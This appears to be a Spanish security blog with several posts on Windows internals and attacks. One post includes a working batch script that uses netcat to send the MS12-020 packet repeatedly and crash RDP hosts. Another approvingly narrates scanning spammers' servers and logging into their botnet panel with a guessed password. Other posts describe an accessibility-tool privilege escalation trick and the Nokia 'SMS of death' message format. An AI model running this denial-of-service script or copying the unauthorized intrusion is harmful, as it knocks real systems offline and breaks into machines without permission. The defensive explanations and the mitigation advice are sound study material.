Algunas notas sobre el exploit MS12-020

Estándar

Hola a tod@s!

Llevo unos 3 días informándome sobre la vulnerabilidad que afecta a todos los servicios de Terminal Server, y he aquí la información que puedo aportar al respecto de leer y releer scripts e información adicional.

Después de leer en mi RSS post similares con información relativa a exploits públicos, los cuales revelaban que habían conseguido ejecutar código remoto , me puse a buscar dichos exploits.

El único que he encontrado, a simple vista parece que lanza una shellcode escuchando en el puerto 4444 de la posible “víctima”. Nada más lejos de la realidad.

Estuve como 45 minutos de mi triste vida intentando buscar algún port de RDP en python sin éxito. Así que estuve leyendo cosas relacionadas con el proyecto FreeRDP, para al final, confirmarse la sospecha de que el script que se encuentra publicado en Pastebin es un puto fake como una catedral, y que me costó cerca de una hora de mi vida.

Imagen 1.- FAKE como una catedral

El siguiente script que probé,  es el ya archiconocido exploit chino, el cual lleva código robado de un partner de Microsoft. En un principio se habló de una filtración en ZDI, pero Microsoft ha acabado confirmando que se ha tratado de una filtración a través de uno de sus partners.

Este exploit funciona a la perfección, pero sólo en Windows 7. He probado en un Windows XP SP3 en Spanish, y no causa ningún efecto en el sistema, salvo que éste consume todos los recursos a nivel de CPU, permaneciendo al 100% en la ejecución del exploit.

Imagen 2.- 100 % CPU exploit ms12-020

Como he comentado antes, en Windows 7 y Windows Server 2008 funciona a la perfección, pero es posible mitigar en parte este ataque, configurando el equipo para que sólo permita la autenticación basada en NLA (Network Level Authentication). Cuando configuramos esta opción, a la hora de negociar una conexión RDP contra un Server 2K8 o un Wiindows Vista/7, se obliga a autenticarse primero al cliente, antes de que el equipo que hace las veces de servidor establezca una sesión completa RDP. Esta configuración, mitigaría cualquier ataque de denegación de servicio de forma automatizada, debido a la no disponibilidad de usuario y password. En el caso de que se conozca un usuario y password de RDP, se podría seguir explotando el fallo, y automatizándolo con scripts.

Sin duda alguna, el que me ha funcionado a la perfección tanto en Windows XP como en Windows 7, ha sido el paquete de demostración que ha publicado el descubridor del fallo Luigi Auriemma. El paquete de demostración lo tiene publicado en el advisory ampliamente comentado en otros blogs y foros de internet, y funciona perfectamente.

En el propio Advisory, Luigi explica que en algunas ocasiones, se hace necesario realizar varias veces el envío del paquete malicioso para que Windows suelte un bonito BSOD, así que dicho y hecho! Como hay publicados ya muchos exploits en Python, Ruby, C y demás lenguajes, yo para probar mis sistemas he decidido realizar un cutre script en BATCH (Con dos cojones ;-)) haciendo llamadas a netcat para que realice un envío del paquete malicioso.

Probando en Windows XP y Windows 7 con el paquete mágico, con sólo el envío de 4 paquetes los dos sistemas pintan un bonito BSOD. El cutre código (Of course) aquí:

 @echo off
 echo .
 echo ##################################################################################
 echo # MS12-020 cutre script BSOD Exploit
 echo # Juan Garrido https://windowstips.wordpress.com
 echo # Tested on XPSP3 And Windows 7 32 bits
 echo # Windows 7 With NLA (NetWork Level Authentication) not Working
 echo # See more http://technet.microsoft.com/en-us/security/bulletin/ms12-020
 echo ##################################################################################
 if "%1"=="" GOTO msg
 set _IP=%1
 set _Netcat=nc.exe %_IP% 3389 ^< termdd_1.dat
 :RUN
 FOR /L %%i IN (1,1,5) DO %_Netcat%
 GOTO end
 :msg
 echo ERROR: Specify a hostname or IP address.
 echo i.e. %0 HOSTNAME
 goto end
 :end
 pause
 

Salu2 a tod@s!

 

Referencias

https://github.com/FreeRDP/FreeRDP

http://pastebin.com/fFWkezQH (FAKE como una catedral)

http://blogs.technet.com/b/msrc/archive/2012/03/16/proof-of-concept-code-available-for-ms12-020.aspx

http://pastebin.com/jzQxvnpj (Exploit funcional Windows 7)

http://technet.microsoft.com/en-us/library/cc732713.aspx (Network Level Authentication)

http://aluigi.org/adv/termdd_1-adv.txt (Advisory explicando la vulnerabilidad MS12-020)

SYSTEM, causa y efecto IV de IV

Estándar

Artículos anteriores

https://windowstips.wordpress.com/2011/01/10/system-causa-y-efecto-i-de-iv/

https://windowstips.wordpress.com/2011/01/11/system-causa-y-efecto-ii-de-iv/

https://windowstips.wordpress.com/2011/01/17/system-causa-y-efecto-iii-de-iv/

Hola a tod@s!

En este último post, nos centraremos en cómo la cuenta SYSTEM se comporta a la hora de ser utilizada de forma interactiva.

Para ello, y en el banco de pruebas que hemos montado, realizaremos una elevación de privilegios, tal y como se ha comentado ampliamente por la Red. Tenéis artículos con formas de realizar este tipo de elevación en los siguientes links:

http://vtroger.blogspot.com/2005/09/mas-vale-quedarse-corto.html

http://www.securitybydefault.com/2010/12/bienaventurados-los-que-no-ven-porque.html

Al realizar el truco, (que no vulnerabilidad) y cambiar alguno de los componentes de accesibilidad por una Shell de Windows, ésta se iniciará de forma interactiva y podremos interactuar con la misma. Entre las “curiosidades” iniciales que nos encontraremos, podremos enumerar las siguientes:

  • El panel de control, no funciona
  • El explorador de Windows, junto con el escritorio, funciona de forma parcial
  • La Shell finaliza al cabo de un tiempo

El acceso total al sistema, lo tenemos única y exclusivamente a través de la línea de comandos.

Esta “irregularidad” viene dada por culpa de las claves de registro que se asocian a cada perfil de usuario.

Cuando un usuario se crea en el sistema, éste recibe un perfil de usuario. La cuenta de sistema, es decir, la cuenta SYSTEM, precarga en  memoria la clave HKEY_LOCAL_MACHINE, y el usuario que trabaja de forma interactiva en el sistema cargará a su vez la clave HKEY_CURRENT_USER, la cual se carga a través de un fichero en el perfil de usuario, que se llama NTUSER.DAT.

Si realizamos una comparación de las claves de registro que crea en el perfil la cuenta SYSTEM, con las que se crean cuando iniciamos sesión con una cuenta de usuario normal, podremos ver ciertas características que no se encuentran en el perfil de SYSTEM.

Si analizamos esas claves con alguna herramienta que permita abrir este tipo de ficheros (NTUSER.DAT), podremos ver ese tipo de diferencias, y contemplar qué claves carga la cuenta SYSTEM cuando inicia sesión en el sistema.

Para el desarrollo de este artículo, se utilizará la herramienta Windows Registry Recovery, la cual nos permite visualizar este tipo de ficheros de forma amistosa y rápida.

Imagen 1.- Claves cargadas por el usuario SYSTEM en Windows 7

Como se puede ver en la anterior imagen, la cuenta SYSTEM carga lo justo y necesario para realizar su trabajo, sin cargar más de lo necesario.

Imagen 2.- Claves cargadas por un usuario típico en Windows 7

En cuando a la imagen anterior, se puede visualizar que un usuario típico, carga lo que necesita para poder interactuar con el sistema. Algo lógico por parte del sistema operativo, ya que estos usuarios son los que están diseñados para trabajar de manera interactiva con el sistema.

Por otra parte, el usuario SYSTEM, opera desde la instancia HKEY_USERS\.DEFAULT. Esta instancia, es en realidad un alias de HKEY_USERS\S-1-5-18, instancia que identifica al SID de la cuenta SYSTEM. Al inicializar la elevación de privilegios, y siempre que no se inicie otro usuario en el sistema, la cuenta SYSTEM, utilizará una instancia que se cargará en 3 sitios diferentes. La ruta de carga es la que se muestra a continuación:

  • HKEY_CURRENT_USER
  • HKEY_USERS\.DEFAULT
  • HKEY_USERS\S-1-5-18

Para verificar lo anterior, desde la Shell de comandos arrancada cuando se realiza la elevación de privilegios, se puede crear una clave en HKEY_CURRENT_USER. Esta clave, se mostrará a su vez en las claves HKEY_USERS\.DEFAULT y HKEY_USERS\S-1-5-18.

Imagen 3.- Instancias cargadas por el usuario SYSTEM

Imagen 4.- Instancias cargadas por el usuario SYSTEM

Estas instancias, a su vez, contienen la información para interactuar con el sistema, es decir, contienen las claves de registro necesarias para lanzar un escritorio interactivo, pero tienen pequeñas diferencias. Estas diferencias, analizadas con cualquier herramienta de monitoreo, muestran como a la hora de lanzar el escritorio interactivo, éste falla al intentar encontrar ciertas claves de registro, necesarias para mostrar iconos, accesos directos, y rutas de lanzamiento a las aplicaciones. El efecto final es que el sistema operativo es capaz de “pintar” el escritorio, pero al no encontrar rutas a las aplicaciones, ni accesos directos que llamen a un programa, éste se queda “a medias”.

Imagen 5.- Rutas no encontradas

 

Como habréis podido observar a lo largo de estos cuatro artículos, es que una elevación de privilegios en Windows implica el conocimiento de muchos factores a la hora de lanzar un posible ataque, y las posibles consecuencias de que este funcione, o no…

Un saludo a tod@s!

SYSTEM, causa y efecto III de IV

Estándar

SYSTEM. causa y efecto I de IV

SYSTEM, causa y efecto II de IV

SYSTEM, causa y efecto IV de IV

Hola a tod@s!
Este post está dedicado a observar el funcionamiento de un SID en lo referente a un usuario específico.
Un SID, o identificador de seguridad, es una estructura para identificar inequívocamente a un usuario o un grupo específico.
Desde Windows NT, esta estructura se encuentra definida en la librería WINNT.H.
La estructura de un SID contiene, entre otros, los siguientes elementos:

  • Revisión del SID
  • Un identificador de autoridad que identifica la autoridad de ese SID
  • Un identificador relativo (RID), el cual identifica unívocamente un usuario o grupo, en relación a la autoridad asignada al SID

La combinación del identificador de autoridad, unido a los identificadores de las sub-autoridades, asegura que no haya dos valores SID iguales.
El formato de un SID se forma usando una cadena estandarizada, la cual hace más fácil la identificación de sus componentes. El formato de cadena de un SID es el siguiente:
S-R-I-S[VALORES]
En donde:

Imagen 1.- Relación Valores & Especificación

Aplicando los elementos anteriores, un SID válido sería el siguiente:

S-1-5-32-545

En donde la traducción de este SID sería la siguiente:

 

Imagen 2.- Valores e identificación

Si se quieren obtener los SID validados en el sistema operativo, éstos se pueden extraer de varias formas.
Una forma ágil de obtener los SID del sistema operativo, es utilizando herramientas ya creadas específicamente para este tipo de usos. Las más conocidas con GETSID, del Kit de recursos de NT, y PSGETSID, de la archiconocida SysInternals. La utilización de este tipo de herramientas no conlleva ningún tipo de problemas, y su uso es rápido e intuitivo.

 
 

Imagen 3.- Uso de PsGetSid

Otra vía de acceso a los SID validados en un sistema operativo es por el registro de Windows. Las claves asociadas que guardan información relativa a un SID de usuario son varias, pero las más usuales y prácticas son las siguientes:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
HKEY_USERS

Imagen.- SID en Registro de Windows

Otra forma rápida, fácil, y para toda la familia, es a través de Scripting. WMI y PowerShell, tienen capacidad para obtener todas las clases asociadas a un SID, y extraer la información de manera ágil. Gracias a que PowerShell tiene acceso rápido a toda la sintaxis de WMI, se puede scriptar todos los comandos de manera sencilla.

 

Imagen.- Extracción de SID a través de PowerShell

 
En el siguiente y último capítulo, veremos cómo se comporta la cuenta SYSTEM, así como el sistema operativo,  a la hora de intentar iniciar una sesión interactiva en el sistema, tal y como se suele utilizar en técnicas de elevación local de privilegios.
Saludos!!
Referencias
PSGETSID
http://technet.microsoft.com/en-us/sysinternals/bb897417
GETSID
http://download.microsoft.com/download/win2000platform/Getsid/1.0/NT5/EN-US/getsid.exe
Win32_SID Class
http://msdn.microsoft.com/en-us/library/aa394450(v=vs.85).aspx
How to Associate a Username with a Security Identifier (SID)
http://support.microsoft.com/kb/154599/en-us
How to deal with localized and renamed user and group names
http://support.microsoft.com/kb/157234/en-us

SYSTEM, causa y efecto. II de IV

Estándar

SYSTEM. causa y efecto I de IV

SYSTEM, causa y efecto III de IV

SYSTEM, causa y efecto IV de IV

Hola a tod@s!!
En la primera entrega dedicada a las diferencias entre la cuenta SYSTEM y una cuenta de tipo administrador, estuvimos repasando las diferencias a nivel de privilegios que tienen estas cuentas, diferencias a nivel de ficheros, directorios y registro.
Este capítulo, lo dedicaremos a repasar las diferencias que tienen estos usuarios, pero a nivel de sesión de usuario.
A la hora de administrar un equipo basado en Windows, siempre hay que pensar, como mínimo, en la existencia de dos usuarios iniciados como mínimo en el sistema operativo. Uno de estos usuarios podrá ser una cuenta, como máximo, con un privilegio de cuenta administrativa, y como mínimo, con el mínimo privilegio posible, o lo que es lo mismo, con una cuenta de usuario o usuario de dominio. La otra cuenta, será la cuenta SYSTEM, que será la encargada de administrar las operaciones internas que necesite realizar el sistema.
Cuentas como SYSTEM o LOCALSYSTEM, son cuentas que no tienen contraseñas asociadas a ellas, y cualquier intento de asociar una credencial a ellas, como por ejemplo a la hora de utilizar estas cuentas para iniciar un servicio, serán ignoradas por el propio sistema operativo.
También este tipo de cuentas, al ser internas del propio sistema operativo, tampoco tienen un perfil asociado en el administrador de cuentas del sistema (SAM), tal y como se puede ver en la siguiente imagen.


Imagen 1.- Cuentas extraídas a través de la SAM

A cada cuenta de usuario, se le asocia un perfil, una vez que se autentica correctamente en el sistema por primera vez. Este perfil, será el que utilice para las tareas comunes del sistema, y será en su perfil, en donde se guardará toda la información y modificación que sobre esta sesión realice.
Los perfiles de usuario, en sistemas basados en Windows XP/2003 se almacenan en el directorio DOCUMENTS AND SETTINGS. En sistemas basados en Windows Vista/7/2008, estos perfiles se almacenan en la raíz del sistema operativo, en el directorio USERS.
Cada cuenta, a su vez, puede iniciar sesión en el sistema de forma independiente, y compartir sesiones entre diferentes usuarios al mismo tiempo, con la única diferencia de que cada cuenta cargará única y exclusivamente su perfil.
Cuando el sistema operativo arranca, éste necesita cargar en memoria aplicaciones y claves de registro en el inicio del mismo. Estas tareas, las realiza la cuenta SYSTEM por diseño. A la hora de autenticarse en el sistema, Windows carga un subsistema de autenticación llamado MSGINA (Componentes de identificación y autorización). Este subsistema, es el que utilizaremos para autenticarnos debidamente en el sistema.
Por diseño, Windows también carga componentes de accesibilidad, necesarios para personas con carencias físicas, tales como falta de visión, miembros amputados, etc, etc…

Por otra parte, la cuenta SYSTEM, también es utilizada a nivel de políticas de grupo en equipos que formen parte de los servicios de Directorio Activo, para asuntos relacionados con la instalación y desinstalación de aplicaciones, ejecución de scripts, etc…, ya que existen políticas de grupo a nivel de máquina, y a nivel de usuario.
Windows también tiene otras cuentas de usuario asociadas a la creación y administración de servicios. En sistemas basados en Windows XP/2003, estas cuentas, tienen sus perfiles de usuario ubicados en el siguiente directorio:


Imagen 2.- ubicación de perfiles de sistema en Windows XP/2003

En sistemas basados en Windows Vista/7/2008, los perfiles de estas cuentas se almacenan en:


Imagen 3.- Ubicación de perfiles de sistema en Windows Vista/7/2008

Dicho esto, y para resumir, si en un sistema basado en Windows XP por ejemplo, existe como mínimo una cuenta SYSTEM arrancada en el sistema antes de iniciar sesión, ésta cargará con su perfil única y exclusivamente, pero… Dónde se encuentra ese perfil??
La cuenta SYSTEM, al ser una cuenta especial de usuario del propio sistema, tiene una ubicación propia. A partir de Windows XP, la ruta en donde se encuentra este perfil de usuario, es la siguiente:


Imagen 4.- Ubicación del perfil de usuario de la cuenta  SYSTEM

A nivel de sesiones, las cuentas de sistema, se comportan de diferente manera a las cuentas de usuario normales, ya que cada cuenta se ejecuta en una sesión diferente, y por ende, en diferentes espacios de memoria.
Si por ejemplo un usuario normal, crea un objeto nuevo en el sistema operativo, y tiene control total sobre el mismo, puede que la cuenta de SYSTEM, no pueda tener privilegios para tener acceso a ese objeto.
Un ejemplo válido lo tenemos con el comando SUBST. Este comando, permite asociar una unidad física del sistema a un determinado PATH. Dependiendo de quién cree este objeto en el sistema, y en qué sesión de usuario se haya ejecutado el comando,  un usuario podrá tener control total sobre él, y el otro no.

 
Imagen 5.- Acceso a objetos. El usuario SYSTEM no accede al objeto

Pero como toda ley, tiene su trampa. Si se necesita obtener acceso a ese objeto, siempre se puede recurrir a la impersonalización, es decir, utilizar la capacidad de poder ejecutar código bajo un contexto de seguridad distinto al de nuestro usuario.
Para que un usuario pueda suplantar a otro cliente tras la autenticación, es necesario tener un determinado privilegio. Este privilegio se llama SeImpersonatePriviilege, y en Windows Vista/7/2008 se puede visualizar con el comando WHOAMI /PRIV.


Imagen 6.- Privilegios para impersonalizar a otro usuario

En el siguiente capítulo, hablaremos de los SID de usuario en Windows, cómo se forman, cuál es su estructura, y la forma de acceso a ellos.  
Saludos!!

REFERENCIAS

Personalización de GINA
http://msdn.microsoft.com/en-us/magazine/cc163803.aspx
Comando SUBST
http://www.computerhope.com/substhlp.htm
Perfiles Locales
http://msdn.microsoft.com/en-us/library/bb776894(VS.85).aspx
Cuenta LOCALSYSTEM
http://msdn.microsoft.com/en-us/library/ms684190(v=vs.85).aspx
Derechos de usuario en Windows
http://technet.microsoft.com/en-us/library/bb457125.aspx
Impersonalización y secuestro de Tokens
http://www.argeniss.com/research/TokenKidnapping.pdf

SYSTEM, causa y efecto. I de IV

Estándar


SYSTEM, causa y efecto II de IV

SYSTEM, causa y efecto III de IV

SYSTEM, causa y efecto IV de IV

Hola a todos!!

En esta serie de 4 capítulos, examinaremos las sutiles diferencias entre un usuario administrador y un usuario de sistema (SYSTEM). Estas diferencias, serán cruciales a la hora de decidir qué tipo de cuenta será necesaria para la explotación de un fallo en el sistema, o decidir si es o no imprescindible el uso de técnicas para ganar una posible elevación de privilegios. También nos ayudarán a conocer el porqué de ciertos comportamientos dispares entre cuentas aparentemente similares.
A nivel de sistema operativo, tanto la cuenta Administrador como la cuenta de sistema, son cuentas con los mismos privilegios. Esta equidad, sólo se manifiesta a nivel de ficheros. A nivel de directorios, la cuenta SYSTEM tendrá, obligatoriamente por diseño del sistema operativo, mayores privilegios que una cuenta de tipo Administrador.
La cuenta SYSTEM, es usada por el sistema operativo para la carga o precarga de elementos cruciales en el inicio del sistema operativo. Servicios y procesos que necesita Windows para el buen funcionamiento del sistema, y para el inicio del mismo. La cuenta, diseñada para ese propósito, es una cuenta interna, y por tal motivo, no podemos administrarla utilizando funciones básicas de administración, como por ejemplo las siguientes:

  • Administración de usuarios
  • Añadir o eliminar de grupos
  • Derechos especiales de usuario

Para demostrar esto, se pueden utilizar dos ejemplos básicos. Uno es a nivel de ficheros, y otro por ejemplo, es a nivel de Registro.
En Windows XP, por defecto la cuenta SYSTEM tiene control total en todos los ficheros y directorios del sistema operativo, y no como la cuenta Administrador, que tiene control total en casi todos los elementos del sistema. Un ejemplo válido es la carpeta SYSTEM VOLUME INFORMATION, ubicada en la raíz del sistema instalado, y que tiene como objetivo el almacenamiento de las copias de seguridad o puntos de restauración. Si se intenta obtener acceso a este directorio a través de una cuenta con privilegios únicamente de administrador, obtendremos un bonito error, ya que a nivel NTFS, no tenemos privilegios.

 
Imagen 1.- Acceso denegado en SYSTEM VOLUME INFORMATION

Otro ejemplo válido lo tenemos a la hora de visualizar elementos del registro de Windows. La cuenta SYSTEM tiene, por diseño del propio sistema operativo, control total sobre ciertas claves de registro, imprescindibles para el buen funcionamiento del mismo. Algunos de estos ejemplos son la clave SAM, en donde se almacenan los datos de los usuarios existentes en el sistema, y la totalidad de los permisos en la clave SECURITY, ubicada en la clave HKLM (HKEY LOCAL MACHINE). En la siguiente imagen, se puede visualizar un ejemplo de este tipo.


Imagen 2.- Elementos de registro visibles a través de la cuenta SYSTEM


A partir de Windows Vista en adelante, en el apartado referente al control de ficheros y directorios, y siempre hablando a nivel NTFS, se añade una nueva entidad con control total en el sistema. Esta entidad, llamada TrustedInstaller, es la encargada de una nueva característica en Windows Server 2008 y Windows Vista/7, llamada Windows Resource Protection.

Imagen 3.- Lista de control de acceso discrecional en Windows 7

En el siguiente post, repasaremos el funcionamiento de ambas cuentas a nivel de sesiones de usuario, evaluando el funcionamiento de las mismas en base a los perfiles que éstas crean.
Saludos!!
Referencias
Funcionamiento de ICACLS
http://technet.microsoft.com/es-es/library/cc753525(WS.10).aspx
Mecanismos reemplazados en Windows Server 2008
http://msdn.microsoft.com/en-us/library/aa382540(v=vs.85).aspx
Cómo es usada la cuenta SYSTEM en Windows
http://support.microsoft.com/kb/120929/en-us

Timando a los timadores II de II

Estándar

Hola a tod@s!

En el primer post estuvimos viendo en primera instancia la historia de cómo unos rusos estaban spammeando la red. Aunque el post que escribí ayer está en tono jocoso, debido principalmente a que los spammers no se han preocupado por la seguridad de sus sites, el asunto es bastante serio. El impacto del ataque se puede apreciar en una de las imágenes que publiqué ayer.

Imagen9 

Imagen 1. Impacto del ataque. + de 1.590.000 hits

Sorprende también que entre los favoritos de los rusos se encuentren sistemas operativos tan poco accesibles por malware o vulnerabilidades como MAC OSX…

imagen13

Imagen 2. Mac OSX + IPhones! Oh my God!!

A la hora del descubrimiento de servidores, me sorprendieron varios ficheros y directorios. Hablemos de los directorios en primera instancia.
En una de las Webs (Todavía accesible a día de hoy), existen dos directorios que acojonan a simple vista, debido al contenido de ellos. En uno de ellos, llamado cookies se encuentran más de 500 ficheros con cookies de correos electrónicos spoofeados, y los que le quedan….

Imagen14

Imagen 3. Directorio Cookies

En cuanto al otro directorio, llamado spammed, contiene identidades de correos electrónicos que YA han sido crackeados, con lo que los rusos tienen un control total de las acciones llevadas a través de esos correos electrónicos. Si a eso le sumamos la cantidad de información privada (extractos bancarios, passwords, etc…) que podemos encontrarnos en esas "identidades", la cosa escala a niveles superiores.

Imagen12

Imagen 4. Directorio Spamed

En el directorio raíz, también encontramos mucha información. En dicho directorio, encontramos más de 200 MB en correos electrónicos. Contando con que son archivos de tipo TXT, son muchos correos electrónicos por crackear…

Imagen11

Imagen 5. Directorio Principal.

En cuanto a las direcciones IP, tan solo una de ellas está listada en algún tipo de Black list, tal y como reflejan Robtex y SpamHaus.

Imagen15

Imagen 6. Lista negra. Robtex

Imagen16

Imagen 7. Lista Negra SpamHaus

Gracias a que pertenencen a una de estas listas, los navegadores que consulten estas listas, pueden alertar de un posible peligro al visitar alguna de estas páginas. Prueba de ello es Google y su sistema Safe Browsing.

Captura2

Imagen 8. Google Safe Browsing

Imagen17
Imagen 9. Malware en URL

Imagen18
Imagen 10. Malware en URL

Otro dato interesante que me ha llamado la atención, y haciendo honor a las "auditorías escalables", en cuanto a servicios y servidores se refiere, es la visualización de un archivo Log en uno de los servidores. Este archivo Log contiene las rutas de lo que parece ser el traspaso de ficheros entre dos servidores. Una dirección más para el EvilMap!. Como no tenía ganas de seguir "auditando", porque esto puede ser el nunca acabar, pego un bonito phpinfo que se han dejado por ahí…. ;-)

Imagen21

Imagen 11. Daaaatossss

Imagen19
Imagen 12. PhpInfo

Y por último, si os digo que el PhpMyAdmin de una de las Webs no tenía password…. La cosa cambia no?

Imagen20

Imagen 13. Ohhhhh No hay datos!
 

En cuanto al código fuente del malware, por si alguien le quiere echar un vistazo, os paso los links de ambos códigos (Javascript y Java) pasteados en pastebin.

http://pastebin.com/f356f20f0 (Código Javascript)

http://pastebin.com/f45e076e2 (Código Java)

Salu2!

Timando a los timadores I de II

Estándar

Hola a tod@s!
Recientemente me he encontrado en una de esas situaciones en las que los dichos populares toman sentido. En este caso el dicho popular es el siguiente:

“Quien roba a un ladrón, 100 años de perdón…”

La situación es la siguiente. Me mandan un correo. Este correo tiene un link a un foro de un país en el que las damas me enamorarían con tan solo hablarme.

Al realizar un copy-paste del link y pegarlo al navegador, éste entra con facilidad en la Web. Pero al cargar la página completa, recibo una pequeña alerta. El sitio que voy a visitar puede dañar mi seguridad. Al analizar el código fuente, encuentro que éste contiene un IFRAME malicioso, el cual me redirige a una URL que me da la oportunidad de descargar no sólo uno, si no 3 archivos maliciosos.
Como el sábado no tenía nada que hacer (Es muy triste, lo sé… ;-)), me dispuse a tirar un poco del hilo, a ver qué me encontraba por el camino. Y vaya si me encontré con cosas….
Empezamos por el principio de esta hermosa historia.

Un ataque IFRAME se puede utilizar para muchos propósitos, desde ataques de denegación de servicios, descarga de archivos, o ataques de CSRF.
El iframe que se encontraba en el foro presentaba una URL codificada con el servicio de codificación de URL TinyURL. En el caso que nos ocupa, la URL http://tinyurl.com/false decodificada, presentaba una URL que apuntaba a http://WebDeMalware.com/in.cgi?default. Cuando intenté acceder a la Web anterior, ésta me redirigía al sitio http://OtraWebDeMalware.org/index.php, la cual me intentaba descargar 3 ficheros. Estos ficheros son un archivo .jar, un archivo .swf, y un archivo .pdf. Todos maliciosos, of course.

Imagen1 Imagen I. Iframe en foro vulnerable

Esos 3 archivos, analizados bajo VirusTotal, nos da 3 resultados, los cuales muestro a continuación:

http://www.virustotal.com/es/analisis/810306ed9b52261f0f01376f79f5a60c16cafd1689f46cc23e119ba466886aa8-1264270308 

http://www.virustotal.com/es/analisis/63fa129d7b1dd129a1e489c32a439a2ae65755d7cc7de09b7e433aa630a08f30-1264270204 

http://www.virustotal.com/es/analisis/626e0184037d75aa52591aecff1c1a531ca2e9458560fa6720de6e4b79942abf-1264270449 

Para tener una segunda opinión sobre los archivos descargados, utilicé otro servicio de análisis de malware basados en red. Este servicio, ofrecido por la Web iseclabs.org, Web de la que se habló también aquí, permite analizar ciertos archivos, como por ejemplo código javascript, ficheros pdf o ficheros flash.

http://wepawet.iseclab.org/view.php?hash=ab60256944c967a8553bd1ba4dd0e37b&type=js

Como virustotal y los laboratorios de iseclab se encargaron de analizar los ficheros por mi (Gracias chicos!!) me dispuse a “pelearme” un poco con las dos únicas direcciones que tenía.

Target1: http://WebDeMalware.com

Target2: http://OtraWebDeMalware.org

Como tenía tiempo para montar la estrategia, ya que no tenía nada que hacer en Sábado (Sí, otra vez, es muy triste… ;-)), me dibujé un pequeño mapa de cómo estaba la situación…

Imagen2Imagen 2.- Mapa Inicial de la situación 

Lo primero que hice fue “visitar” los sitios maliciosos con la debida protección. El primer sitio que visité, sólo tenía un html estático en el index de la página, y poco se podía hacer en ella, de momento….

Imagen3Imagen 3.- HTML estático de uno de los Sites

El segundo sitio que visité, a veces te intentaba descargar el malware, y a veces te redirigía a Google.cn (Google China). Así que en principio, poco se podía hacer también, de momento…

El siguiente paso por el que opté fue el descubrimiento de puertos de ambos servidores. El cuadro comparativo lo expongo aquí:

Imagen4Imagen 4.- Descubrimiento de puertos en los sites

Examinando las respuestas a la hora de descubrir puertos, me encuentro con que uno de los servidores lleva un sistema operativo Linux y el otro servidor lleva puesto un Windows. Como el puerto de terminal server está a la espera de alguna petición, me intento conectar con un cliente virtualizado.

Imagen5

Imagen 5.- Acceso deste un cliente TS

Rusos!!

Next Step… Footprinting!

Gracias a los códigos de estado HTTP, y si nada lo impide, se pueden realizar peticiones a una Web, tomando como base un diccionario “rico en palabros”. Este tipo de técnicas se pueden utilizar para descubrir directorios ocultos en un servidor Web, y nos pueden arrojar mucha información sobre un sitio en particular. Aplicando estas técnicas con los sitios Web, se obtiene la siguiente información:

Imagen6Imagen 6.- Descubrimiento de directorios

Imagen7

Imagen 7.- Descubrimiento de directorios

Como se puede observar en las imágenes, las Webs tienen directorios interesantes. Directorios como Admin, PhpMyAdmin, test o data, hacen las delicias para cualquiera que tenga un mínimo de curiosidad. Queréis ver lo que hay? Sigamos!

Next Step… Open the door!

Algunas veces, cuando auditamos algún sitio, y vemos un campo login + passwd, nos ponemos en lo peor. Pero me acordé de una charla en el Asegur@IT Camp de Alejandro ramos. Este pájaro, demostró como hoy en día, existen personas que son capaces de tener correos con pass 123456. El directorio Admin de una de las Webs, redirige a un apartado de autenticación, en el que se nos solicita un usuario y una password. En honor a la verdad, he de decir que los rusos no tenían como password 123456, pero también he de decir, que la pass era ADMIN… No comments….

Aparentemente, el sitio no es más que una simple aplicación para manejar una botnet. En ella, se nos reflejan estadísticas de los sitios atacados, y contadores de visitas por cada sitio.

Imagen8

Imagen 8.- Status Botnet

Imagen9

Imagen 9.- Estadísticas de Botnet

En la aplicación, también se pueden mostrar estadísticas de los sitios Web. Gracias a ello, los rusos también tendrán cierto control sobre si la vulnerabilidad en los sites se explota de forma correcta. En el caso opuesto, los rusos pueden dar por sentado de que el sysadmin del site ha parcheado el fallo.

Imagen10

Imagen 10.- Webs y foros atacados

Al parecer el ataque se está realizando en versiones no actualizadas de VBULLETIN y VBSEO

Mañana vamos con la edición II

Salu2!!

SMS de la muerte

Estándar

Hola a tod@s!

Llega un nuevo año, cargado de ilusiones, buenos propósitos, compañerismo, signos de amistad….. Y vulnerabilidades, exploits, advisories, etc…

Y esta es de las gordas, porque llega en unas fechas señaladas para su utilización.

Tobias Engel, que no hace mucho ha participado en el Chaos Communication Congress presentó hace unos días una vulnerabilidad en ciertos modelos de Nokia, la cual puede ser explotada masivamente y sin  muchos conocimientos sobre arquitectura. Lo peor de todo es que no es necesario la instalación de una aplicación específica, ya que incluso con modelos antiguos de Nokia se puede llevar a cabo el ataque.

El ataque es de lo más sencillo, y tan sólo le costaría al atacante el dinero con el que manda los SMS de la muerte.

Ciertos mails pueden ser enviados via SMS estableciendo que el protocolo a utilizar sea Internet Electronic Mail. Una vez realizado el cambio, se formatea el texto del mensaje tal que así:

<email-address><space><message body>

Si el contenido del mensaje contiene un campo <email-address> con más de 32 caracteres, algunas versiones de teléfonos Nokia no podrán recibir más SMS o MMS nunca más, a menos que al teléfono se le realice un “fuego purificador”. Depende de la versión de sistema operativo que tengamos en el teléfono, éste se comportará de diferente manera. En los links externos finales tenéis el aviso que explica el comportamiento y los modelos afectados, que no son pocos.

Tobias ha realizado un vídeo explicativo sobre el ataque en cuestión. El vídeo se ha subido a YouTube:

La noticia, la cual ha sido verificada por F-Secure, establece que el exploit de momento no se está utilizando de forma masiva, pero que después de lo acontecido, no saben como responderá el “público”.

Por otra parte, y viendo la que se avecina con las fiestas, no es de esperar que cientos de miles de millones de SMS circulen por la red, así que… no está de más prevenir que curar.

La forma de actuar es bien sencilla, pero bastante jodida. O lo llevas a la casa del fabricante, o realizas un Hard Reset al aparato en cuestión, con el código siguiente:

*#7370#

Pero no todo son malas noticias. La empresa Fortiguard, ha liberado no hace mucho una herramienta llamada FortiCleanUp, la cual, instalada en los modelos de Nokia afectados, es capaz de limpiar el susodicho sin tener que realizar al teléfono un hard reset, ni llevarlo al fabricante.

Así que ya sabéis, sed cuidadosos, y no hagáis bromitas…. Que el día de los inocentes pasó!

Tenéis más información en los enlaces externos

Saludos a tod@s!

Enlaces externos:

http://www.fortiguardcenter.com/mobile/cleanup.html

http://berlin.ccc.de/~tobias/cos/s60-curse-of-silence-advisory.txt

http://berlin.ccc.de/~tobias/cos/s60-curse-of-silence-demo.avi

http://www.f-secure.com/weblog/archives/00001569.html

http://www.3gpp.org/ftp/specs/1999-10/for-itu/23040-320.pdf